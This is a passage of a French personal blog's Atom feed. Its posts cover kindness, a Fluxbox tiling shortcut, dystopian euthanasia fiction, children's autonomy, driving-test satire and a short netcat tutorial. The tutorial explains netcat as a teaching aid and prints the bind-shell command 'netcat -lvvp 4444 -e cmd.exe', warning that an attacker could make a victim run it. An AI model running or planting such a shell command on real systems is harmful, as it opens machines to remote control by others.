&lt;/ul&gt;
&lt;p&gt;Il n&amp;rsquo;est pas simple d&amp;rsquo;être bienveillant avec ses proches (conjoint, enfants, famille, amis…) alors, &lt;em&gt;quid&lt;/em&gt; des autres ?&lt;/p&gt;
&lt;p&gt;Être bienveillant, c&amp;rsquo;est avant tout &lt;strong&gt;une attitude&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;essaie d&amp;rsquo;avoir une attitude empathique positive qui tente de « tirer l&amp;rsquo;autre vers le haut » !&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Je commence par essayer de sourire plus.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Je recherche les aspects positifs et je tente de ne pas m&amp;rsquo;attarder sur ce qui est négatif.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;J&amp;rsquo;écoute d&amp;rsquo;abord.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Et si nous tentions l&amp;rsquo;expérience …&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;« La bienveillance fait l&amp;rsquo;homme. »&lt;/p&gt;
&lt;p&gt;Confucius&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://rona-keller.deviantart.com/art/some-help-90720516"&gt;Rona Keller&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Fluxbox keys binding</title><link href="http://blog.namok.be/2013-12-20-fluxbox-keys-binding.html" rel="alternate"/><published>2013-12-20T00:00:00+01:00</published><updated>2013-12-20T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-12-20:/2013-12-20-fluxbox-keys-binding.html</id><summary type="html">Fluxbox keys binding</summary><content type="html">&lt;p&gt;En observant les utilisateurs de MS Windows, je vois qu&amp;rsquo;il y a (maintenant) la possibilité de placer facilement deux fenêtres sur l&amp;rsquo;écran de manière à ce qu&amp;rsquo;elles occupent chacune une moitié de l&amp;rsquo;écran … en anglais, on dit « tiling windows » je crois.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Screenshot" src="images/screenshot-tile-fluxbox.png" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Vu la taille des écrans, cette nouvelle &lt;em&gt;feature&lt;/em&gt; est pratique. Et quid de mon (très) vieux Fluxbox &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt; ?&lt;/p&gt;
&lt;p&gt;Pas de soucis, il fait le boulot depuis des lustres.&lt;/p&gt;
&lt;p&gt;Ça se passe dans le fichier &lt;code&gt;~/.fluxbox/keys&lt;/code&gt; contenant les raccourcis clavier. Il suffit d&amp;rsquo;y ajouter les lignes suivantes si l&amp;rsquo;on veut qu&amp;rsquo;un &lt;code&gt;[Alt]VL&lt;/code&gt; redimensionne la fenêtre de manière à ce qu&amp;rsquo;elle prenne la moité de l&amp;rsquo;écran et la place à gauche. Même chose a droite via &lt;code&gt;[Alt]VR&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Mod1 V Mod1 L :MacroCmd {ResizeTo 50% 100%} {MoveTo 0 0}
Mod1 V Mod1 R :MacroCmd {ResizeTo 50% 100%} {MoveTo 50% 0}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Enjoy !&lt;/p&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:f1"&gt;
&lt;p&gt;Fluxbox est le gestionnaire de fenêtres que j&amp;rsquo;utilise sur ma machine linux / debian. Sous linux, on a le choix de l&amp;rsquo;environnement X (l&amp;rsquo;environnement graphique). Les plus connus sont Gnome, XFCE4 et KDE.&amp;#160;&lt;a class="footnote-backref" href="#fnref:f1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Ma fille vient de recevoir sa thanacation</title><link href="http://blog.namok.be/2013-12-12-thanacation.html" rel="alternate"/><published>2013-12-12T00:00:00+01:00</published><updated>2013-12-12T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-12-12:/2013-12-12-thanacation.html</id><summary type="html">Fiction triste sur l'euthanasie.</summary><content type="html">&lt;p&gt;&lt;img alt="The gream reaper, la grande faucheuse" src="images/The_Grim_Reaper_by_FelidaesEmpire.jpg" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Ma fille vient de recevoir sa thanacation.&lt;/p&gt;
&lt;p&gt;Elle sera thanatonaute mais pour un aller simple.&lt;/p&gt;
&lt;p&gt;Thanacation, un bien joli nom pour une « convocation à l&amp;rsquo;euthanasie ».&lt;/p&gt;
&lt;p&gt;Début des années 2000, l&amp;rsquo;euthanasie des personnes âgées a été autorisée sous certaines conditions très strictes. En 2013, les parents peuvent choisir cette extrémité pour leurs enfants lorsque ceux-ci ne peuvent pas avoir une vie « vivable ».&lt;/p&gt;
&lt;p&gt;Quelques années plus tard, l&amp;rsquo;état a revisité ce concept de « &lt;em&gt;vivabilité&lt;/em&gt; ». Il a été élargi et l&amp;rsquo;état a organisé des séances d&amp;rsquo;euthanasie collective pour tout ceux se trouvant sur la liste.&lt;/p&gt;
&lt;p&gt;Bien sûr les premiers à se retrouver sur la liste furent les &lt;em&gt;sansdomiciles&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Au début il y a eu des craintes que la liste se remplisse sur base d&amp;rsquo;une orientation philosophique, d&amp;rsquo;une couleur de peau ou d&amp;rsquo;un excès de statuts &lt;em&gt;Faceplus&lt;/em&gt; du style&lt;/p&gt;
&lt;p&gt;– J&amp;rsquo;aime pas le lundi :-(&lt;/p&gt;
&lt;p&gt;Comme ces craintes étaient fondées — on n&amp;rsquo;imagine pas le nombre de gens se plaignant du lundi. Quelle plaie ! — l&amp;rsquo;état a été déchargé de la gestion de la liste après 10 ans de balbutiements et d&amp;rsquo;excès. Aujourd&amp;rsquo;hui la liste est gérée par les citoyens et se remplit en grande partie sur base volontaire.&lt;/p&gt;
&lt;p&gt;Si un &lt;em&gt;thanatonaute d&amp;rsquo;un aller&lt;/em&gt; ne désire pas (ou plus) être sur la liste, il a un délai de 6 mois pour faire sa demande de retrait. Cette demande doit être justifiée en montrant que la vie est belle et qu&amp;rsquo;elle vaut la peine d&amp;rsquo;être vécue. Pour convaincre, il est d&amp;rsquo;usage que le &lt;em&gt;thanatonaute d&amp;rsquo;un aller&lt;/em&gt; envoie, par le biais du réseau informatique, une série de photos le montrant joyeux et heureux de vivre. S&amp;rsquo;il reçoit suffisamment de « Bien », son nom est ôté de la liste.&lt;/p&gt;
&lt;p&gt;Les &lt;em&gt;sansdomiciles&lt;/em&gt; n&amp;rsquo;ont pas la possibilité d&amp;rsquo;utiliser le réseau informatique mais qui s&amp;rsquo;en soucie ?&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui ma fille a reçu sa &lt;em&gt;thanacation&lt;/em&gt;. Elle a fait sa demande il y a presque un an maintenant et je n&amp;rsquo;ai pas pu la convaincre de changer d&amp;rsquo;avis. &lt;/p&gt;
&lt;p&gt;Je n&amp;rsquo;ai pas pu lui donner l&amp;rsquo;envie de changer d&amp;rsquo;avis.&lt;/p&gt;
&lt;p&gt;Je suis si triste.&lt;/p&gt;
&lt;p&gt;Je ne peux cependant pas le dire…&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="https://blog.namok.be/http.//deviantart.com"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://felidaesempire.deviantart.com/art/The-Grim-Reaper-102176937"&gt;Felidaes Empire&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Un bon soldat</title><link href="http://blog.namok.be/2013-12-10-un-bon-soldat.html" rel="alternate"/><published>2013-12-10T00:00:00+01:00</published><updated>2013-12-10T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-12-10:/2013-12-10-un-bon-soldat.html</id><summary type="html">Doit-on être un bon citoyen ou un bon soldat ?</summary><content type="html">&lt;p&gt;&lt;img alt="nature of war" src="/images/nature_of_war_by_Friedhelm.jpg"&gt;&lt;/p&gt;
&lt;p&gt;Sur le banc de l&amp;rsquo;école, je me tortille, je dois aller faire pipi mais j&amp;rsquo;ai oublié d&amp;rsquo;y aller pendant la récréation. Pourtant, je sais qu&amp;rsquo;il faut y aller au plus tard après la première sonnerie. En tout les cas avant la deuxième et surement pas lorsque l&amp;rsquo;on vient de s’assoir ! &lt;/p&gt;
&lt;p&gt;Et pourtant, je dois faire pipi. Si je veux y aller, je dois donner un de mes « bons points ». Je n&amp;rsquo;ai pas beaucoup de « bons points ». Je dois souvent aller faire pipi. &lt;/p&gt;
&lt;p&gt;— Ah non ! Si je te laisse encore aller à la toilette maintenant, tu perturbes la leçon ! C&amp;rsquo;est toujours la même chose avec toi, tu es un vrai pisseur. &lt;/p&gt;
&lt;p&gt;Ah bon. Pourtant, je suis convaincu &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; que si l&amp;rsquo;on laisse aux enfants la possibilité d&amp;rsquo;aller aux toilettes lorsqu&amp;rsquo;ils en ont besoin et que l&amp;rsquo;on n&amp;rsquo;interrompt pas la dictée pour celui qui est absent — tant pis, il y aura une phrase en moins sur sa feuille — le défilé aux toilettes se régulera tout seul. &lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est une première étape vers l&amp;rsquo;&lt;strong&gt;autonomie&lt;/strong&gt; plutôt que vers un assistanat consistant — à gueuler certes — mais à répéter la phrase de la dictée, réorganiser une interro, rappeler une échéance… faire attendre le train. &lt;/p&gt;
&lt;p&gt;Si je ne vois pas que j&amp;rsquo;ai moins de points lorsqu&amp;rsquo;il manque une phrase de ma dictée, si je ne ressens pas le froid quand j&amp;rsquo;oublie mon bonnet, si je n&amp;rsquo;ai pas la possibilité de m&amp;rsquo;embêter une heure car le train ne m&amp;rsquo;a pas attendu alors je n&amp;rsquo;apprend pas. Je ne réfléchis pas.  Je n&amp;rsquo;apprend pas à écouter mon corps (faim, froid, envies, devoirs…).&lt;/p&gt;
&lt;p&gt;J’apprends à faire ce que l&amp;rsquo;on attend de moi.&lt;/p&gt;
&lt;p&gt;Nous prépare-t-on à être un bon citoyen ou à être un bon soldat ? &lt;/p&gt;
&lt;p&gt;… un bon soldat.&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Liens&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;À lire aussi, &lt;a href="/blog/?post/2013/02/03/le-jeu-de-la-mort"&gt;Savoir dire non, est-ce se rebeller&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com"&gt;DevianArt&lt;/a&gt; par &lt;a href="http://friedhelm.deviantart.com/art/nature-of-war-51162652"&gt;Friedhelm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Dans ce cas précis ma conviction m&amp;rsquo;a été soufflée par « vous savez qui » 😉&amp;#160;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;</content></entry><entry><title>Lâcher la main mais peut-il marcher ?</title><link href="http://blog.namok.be/2013-12-01-lacher-la-main-mais-peut-il-marcher.html" rel="alternate"/><published>2013-12-01T00:00:00+01:00</published><updated>2013-12-01T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-12-01:/2013-12-01-lacher-la-main-mais-peut-il-marcher.html</id><summary type="html">Lâcher la main mais peut-il marcher ?</summary><content type="html">&lt;p&gt;À la sortie de l&amp;rsquo;école …&lt;/p&gt;
&lt;p&gt;&lt;img alt="peugeot_p12_6174_by_cinqth-d4xnkld.jpg" src="images/peugeot_p12_6174_by_cinqth-d4xnkld.jpg" title="peugeot_p12_6174_by_cinqth-d4xnkld.jpg, déc. 2013"&gt;&lt;/p&gt;
&lt;p&gt;À la sortie de l&amp;rsquo;école, papa accompagne ses deux enfants de 6 et 10 ans tout en portant leur cartable de l&amp;rsquo;école à la voiture parquée en double file.&lt;/p&gt;
&lt;p&gt;Déjà ce matin, la famille était un peu en retard, papa et maman devant courir dans tous les sens pour faire les tartines, habiller les enfants et vérifier que les cartables soient bien prêts.&lt;/p&gt;
&lt;p&gt;À Noël, ils offriront un iPad à l&amp;rsquo;ainé, il a déjà 10 ans et ce sera plus facile pour aller sur Facebook.&lt;/p&gt;
&lt;p&gt;— Il en sait plus que nous maintenant !&lt;/p&gt;
&lt;p&gt;Ah bon, pourtant, il ne semble pas être capable de porter son cartable, de marcher jusqu&amp;rsquo;au parking, de faire ses tartines, de prendre des vêtements dans l&amp;rsquo;armoire, de préparer son cartable…&lt;/p&gt;
&lt;p&gt;Demander de faire des choses sans avoir appris déjà petit à faire ces choses m&amp;rsquo;a toujours semblé (un peu) absurde.&lt;/p&gt;
&lt;p&gt;Apprendre à faire quelque chose, c&amp;rsquo;est prendre un peu de temps pour montrer et laisser le temps d&amp;rsquo;essayer. Ce temps « perdu » sera regagné… un enfant n&amp;rsquo;a qu&amp;rsquo;une seule envie, apprendre l&amp;rsquo;autonomie.&lt;/p&gt;
&lt;p&gt;— Il faut tout faire pour ses enfants !&lt;/p&gt;
&lt;p&gt;Je préfère apprendre à mon enfant à pouvoir s&amp;rsquo;insérer dans la société dans laquelle il va évoluer plus tard — et une étape importante est de lui permettre d&amp;rsquo;apprendre à &lt;em&gt;faire les choses&lt;/em&gt; petit à petit, dès son plus jeune âge, à son niveau, avec ses compétences.&lt;/p&gt;
&lt;p&gt;Ce n&amp;rsquo;est pas du tout « faire pour lui » et soudain…&lt;br&gt;
Lâcher…&lt;/p&gt;
&lt;p&gt;&lt;img alt="sac-bleu.png" src="images/sac-bleu.png" title="sac-bleu.png, déc. 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Références&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.les-supers-parents.com/distinguer-besoins-et-desirs-pour-responsabiliser-et-favoriser-l-autonomie-de-vos-enfants"&gt;Distinguer un besoin d&amp;rsquo;un désir&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.psychologies.com/Famille/Education/Scolarite/Articles-et-Dossiers/La-pedagogie-Montessori-c-est-quoi"&gt;Un peu de pédagogie Montessori&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.grandir-ensemble-blois.fr/limportance-de-lautonomie/"&gt;Quelques belles images sur l&amp;rsquo;apprentissage de l&amp;rsquo;autonomie&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://cinqth.deviantart.com/"&gt;Cinqth&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content></entry><entry><title>La réussite du permis de conduire théorique à 25/50</title><link href="http://blog.namok.be/2013-11-26-reussite-permis-25-50.html" rel="alternate"/><published>2013-11-26T00:00:00+01:00</published><updated>2013-11-26T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-11-26:/2013-11-26-reussite-permis-25-50.html</id><summary type="html">Fiction sur le décret paysage</summary><content type="html">&lt;p&gt;Jadis le niveau de réussite de l&amp;rsquo;examen théorique pour le permis de conduire était fixé à 41/50.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Turbotraction_II_front_by_kanyiko.jpg" src="images/Turbotraction_II_front_by_kanyiko.jpg" title="Turbotraction_II_front_by_kanyiko.jpg, nov. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Au fil du temps, de plus en plus de candidats échouaient à l&amp;rsquo;examen.&lt;/p&gt;
&lt;p&gt;Comme l&amp;rsquo;examen, à choix multiples, ne permettait pas de « revoir l&amp;rsquo;échelle de notation » afin d&amp;rsquo;en faire réussir un plus grand nombre plusieurs citoyens se trouvèrent incapables d&amp;rsquo;obtenir ce précieux.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;état a alors décidé de mettre en circulation des voitures ne nécessitant pas de permis de conduire.&lt;/p&gt;
&lt;p&gt;Ces voitures, plus petites et plus lentes, circulèrent sur les mêmes bandes de circulation avec au volant un conducteur n&amp;rsquo;ayant pas dû faire preuve de certaines connaissances jugées utiles à la conduite.&lt;/p&gt;
&lt;p&gt;En agglomération, le détenteur d&amp;rsquo;un permis de conduire maintenait la vitesse de son véhicule en dessous de 50 km/h alors que la voiture sans permis était limitée à 45 km/h… ce sont ces 5 km/h qui marquaient la différence entre un chauffeur connaissant plus de 80% des règles de la circulation de l&amp;rsquo;autre ne devant en connaitre aucune !&lt;/p&gt;
&lt;p&gt;Devant l&amp;rsquo;absurdité d&amp;rsquo;une telle loi, l&amp;rsquo;état décida finalement de supprimer ces voitures sans permis et abaissa le seuil de réussite de l&amp;rsquo;examen théorique à 25/50… ceci afin de permettre à un plus grand nombre d&amp;rsquo;accéder à la conduite des bolides.&lt;/p&gt;
&lt;p&gt;Dans le même temps, les constructeurs automobiles proposèrent toute une série d&amp;rsquo;aides à la conduite telles que; l&amp;rsquo;aide au parking, l&amp;rsquo;antifranchissement des lignes blanches, le régulateur de vitesse…&lt;/p&gt;
&lt;p&gt;La nouvelle classe de bolide (on ne parle plus de voiture trop rapide mais de bolide lent) fut équipée de toute ces aides et l&amp;rsquo;état demanda aux constructeurs d&amp;rsquo;y intégrer les éléments importants du code de la route. Ainsi le bolide ralentira et s&amp;rsquo;arrêtera si nécessaire à l&amp;rsquo;approche d&amp;rsquo;une priorité de droite par exemple.&lt;/p&gt;
&lt;p&gt;Il n&amp;rsquo;est pas rare de voir un &lt;em&gt;passifteur&lt;/em&gt; (on ne parle plus non plus de conducteur) s&amp;rsquo;énerver sur son bolide par méconnaissance des règles qui le régissent.&lt;/p&gt;
&lt;p&gt;Aujourd&amp;rsquo;hui, nous sommes habitués à faire confiance aux bolides pour nous mener à destination et l&amp;rsquo;état peut, sur simple requête auprès des constructeurs, demander l&amp;rsquo;ajout d&amp;rsquo;une règle au code de la route.&lt;/p&gt;
&lt;p&gt;Les &lt;em&gt;passifteurs&lt;/em&gt; se demandent pourquoi il est encore nécessaire de passer ce précieux permis…&lt;/p&gt;
&lt;p&gt;Les bolides s&amp;rsquo;occupent de tout.&lt;/p&gt;
&lt;p&gt;Dormez tranquille.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;(Ce texte est une fiction inspirée par le &lt;a href="2013-10-01-decret-paysage-marcourt-1.html"&gt;décret paysage&lt;/a&gt; de &lt;a href="2013-11-13-decret-paysage-marcourt-2.html"&gt;l&amp;rsquo;enseignement supérieur&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;p&gt;Crédit photo chez DeviantArt par &lt;a href="http://kanyiko.deviantart.com/art/Turbotraction-II-front-52284677"&gt;Kanyiko&lt;/a&gt;&lt;/p&gt;</content></entry><entry><title>ncat en deux mots</title><link href="http://blog.namok.be/2013-11-20-5slides-ncat.html" rel="alternate"/><published>2013-11-20T00:00:00+01:00</published><updated>2013-11-20T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2013-11-20:/2013-11-20-5slides-ncat.html</id><summary type="html">ou dans la série 5 slides_: ncat</summary><content type="html">&lt;p&gt;Dans la série « souvent il est nécessaire de présenter un outil, un concept, le résultat d&amp;rsquo;une recherche… brièvement », aujourd&amp;rsquo;hui, je fais quelques slides pour présenter &lt;strong&gt;netcat&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Blue door" src="images/Broken_Door_by_RitvikPandey.jpg" title="Une porte bleue" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;netcat, présenté comme le &lt;em&gt;couteau suisse&lt;/em&gt; de TCP/IP, est un logiciel permettant de lire et écrire en utilisant le protocole TCP / UDP. Sa particularité de lecture / écriture fait de lui un outil de « communication / partage » entre machines.&lt;/p&gt;
&lt;p&gt;Sous debian, netcat s&amp;rsquo;installe simplement grâce à &lt;code&gt;apt-get install netcat&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="ncat-5slides-all.png" src="images/ncat-5slides-all.png" title="ncat-5slides-all.png, nov. 2013" width="100%"&gt;&lt;/p&gt;
&lt;p&gt;Les slides sont beaux &lt;sup id="fnref:f1"&gt;&lt;a class="footnote-ref" href="#fn:f1"&gt;1&lt;/a&gt;&lt;/sup&gt;, mais que raconter ?&lt;/p&gt;
&lt;p&gt;Voici les commentaires ou le discours oral associé.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 2&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;netcat est un logiciel qui lit et écrit en TCP / UDP, il permet donc de se connecter à n&amp;rsquo;importe quel port (il voit donc s&amp;rsquo;il est ouvert) et d&amp;rsquo;essayer de communiquer… si je « parle mail » sur le port 25, je pourrais envoyer un mail ^^&lt;/p&gt;
&lt;p&gt;Pour l&amp;rsquo;exemple, en se basant sur la &lt;a href="http://tools.ietf.org/html/rfc821"&gt;RFC 821&lt;/a&gt;, je peux écrire &lt;sup id="fnref:f2"&gt;&lt;a class="footnote-ref" href="#fn:f2"&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;nc&lt;span class="w"&gt; &lt;/span&gt;-vv&lt;span class="w"&gt; &lt;/span&gt;localhost&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;25&lt;/span&gt;
localhost&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;127&lt;/span&gt;.0.0.1&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;25&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;smtp&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;open
&lt;span class="m"&gt;220&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;seccotine.namok.be&lt;span class="w"&gt; &lt;/span&gt;ESMTP&lt;span class="w"&gt; &lt;/span&gt;Postfix&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;Debian/GNU&lt;span class="o"&gt;)&lt;/span&gt;
MAIL&lt;span class="w"&gt; &lt;/span&gt;FROM:&amp;lt;pit@example.org&amp;gt;
&lt;span class="m"&gt;250&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.1.0&lt;span class="w"&gt; &lt;/span&gt;Ok
RCPT&lt;span class="w"&gt; &lt;/span&gt;TO:&amp;lt;pk@mailinator.com&amp;gt;
&lt;span class="m"&gt;250&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.1.5&lt;span class="w"&gt; &lt;/span&gt;Ok
DATA
&lt;span class="m"&gt;354&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;End&lt;span class="w"&gt; &lt;/span&gt;data&lt;span class="w"&gt; &lt;/span&gt;with&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;.&amp;lt;CR&amp;gt;&amp;lt;LF&amp;gt;
Le&lt;span class="w"&gt; &lt;/span&gt;corps&lt;span class="w"&gt; &lt;/span&gt;du&lt;span class="w"&gt; &lt;/span&gt;mail
Blah&lt;span class="w"&gt; &lt;/span&gt;blah&lt;span class="w"&gt; &lt;/span&gt;blah&lt;span class="w"&gt; &lt;/span&gt;
.
&lt;span class="m"&gt;250&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.0.0&lt;span class="w"&gt; &lt;/span&gt;Ok:&lt;span class="w"&gt; &lt;/span&gt;queued&lt;span class="w"&gt; &lt;/span&gt;as&lt;span class="w"&gt; &lt;/span&gt;A4114EB4044
QUIT
&lt;span class="m"&gt;221&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;.0.0&lt;span class="w"&gt; &lt;/span&gt;Bye
&lt;span class="w"&gt;  &lt;/span&gt;sent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;122&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;rcvd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;250&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Je constate sur le screenshot que je reçois bien le mail. Profitez-en pour voir ce que racontent vos logs …&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-mail-1.png" src="images/screenshot-mail-1.png" title="screenshot-mail-1.png, nov. 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 3&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Comparaison avec le programme &lt;code&gt;telnet&lt;/code&gt; pour le principe de connexion à un port, c&amp;rsquo;est un moyen simple de voir si un port est ouvert. L&amp;rsquo;envoi de mail fait avec &lt;code&gt;nc&lt;/code&gt; peut très bien se faire avec &lt;code&gt;telnet&lt;/code&gt; également.&lt;/p&gt;
&lt;p&gt;J&amp;rsquo;utilise netcat en tant que &lt;em&gt;client&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 4&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;intérêt de &lt;code&gt;netcat&lt;/code&gt; par rapport à &lt;code&gt;telnet&lt;/code&gt; est la possibilité de l&amp;rsquo;utiliser comme &lt;em&gt;serveur&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Comme illustration, je lance une instance de netcat comme serveur sur un port et une autre instance comme client (sur le même port). Les deux instances peuvent communiquer. Ce que l&amp;rsquo;on illustre en faisant un &lt;em&gt;chat&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="screenshot-nc-1.png" src="images/screenshot-nc-1.png" title="screenshot-nc-1.png, nov. 2013"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 5&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;En utilisant les redirections d&amp;rsquo;entrée / sortie, je peux envoyer / recevoir un fichier.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;netcat&lt;/code&gt; me permettra donc de faire du transfert de fichiers (artisanal certes) pour peu qu&amp;rsquo;un port soit disponible (au sens non filtré par les firewalls) sur les machines.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Slide 6/7/8&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Last but not least&lt;/em&gt;, &lt;code&gt;netcat&lt;/code&gt; permet de passer une commande en argument !&lt;/p&gt;
&lt;p&gt;Je peux lancer une commande sur l&amp;rsquo;une des deux machines et rediriger les entrées / sorties de celle-ci « dans le tuyau ». Ce qui a pour effet par exemple de lancer un &lt;em&gt;shell&lt;/em&gt; sur la machine &lt;em&gt;host1&lt;/em&gt; et d&amp;rsquo;autoriser &lt;em&gt;host2&lt;/em&gt; d&amp;rsquo;utiliser ce shell avec mes privilèges.&lt;/p&gt;
&lt;p&gt;Je m&amp;rsquo;appelle Bob (oui je sais, ça vous surprend) et j&amp;rsquo;ai besoin d&amp;rsquo;aide pour administrer ma machine MS Windows (ça vous étonne aussi hein !), je lance &lt;code&gt;netcat -lvvp 4444 -e cmd.exe&lt;/code&gt; ce qui a pour effet de mettre l&amp;rsquo;interprèteur de commande MS Windows en écoute sur le port 4444.&lt;/p&gt;
&lt;p&gt;Alice veut m&amp;rsquo;aider, il lui suffit de se connecter à ma machine via &lt;code&gt;netcat -vv &amp;lt;mon ip&amp;gt; 4444&lt;/code&gt; et elle aura accès à mon &lt;em&gt;shell&lt;/em&gt; !&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;inverse – être prêt à recevoir une commande plutôt que de l&amp;rsquo;envoyer– est également possible.&lt;/p&gt;
&lt;p&gt;Si Alice et Bob son conscients de ce qu&amp;rsquo;il font, c&amp;rsquo;est un moyen simple de s&amp;rsquo;entraider.&lt;/p&gt;
&lt;p&gt;Par contre, si Malory parvient à faire exécuter du code à Alice à son insu et que ce code est « simplement » &lt;code&gt;netcat -lvvp 4444 -e cmd.exe&lt;/code&gt;… c&amp;rsquo;est pas de bol !&lt;/p&gt;
&lt;p&gt;&lt;br/&gt;&lt;/p&gt;
&lt;h4&gt;Liens&lt;/h4&gt;
&lt;ul&gt;
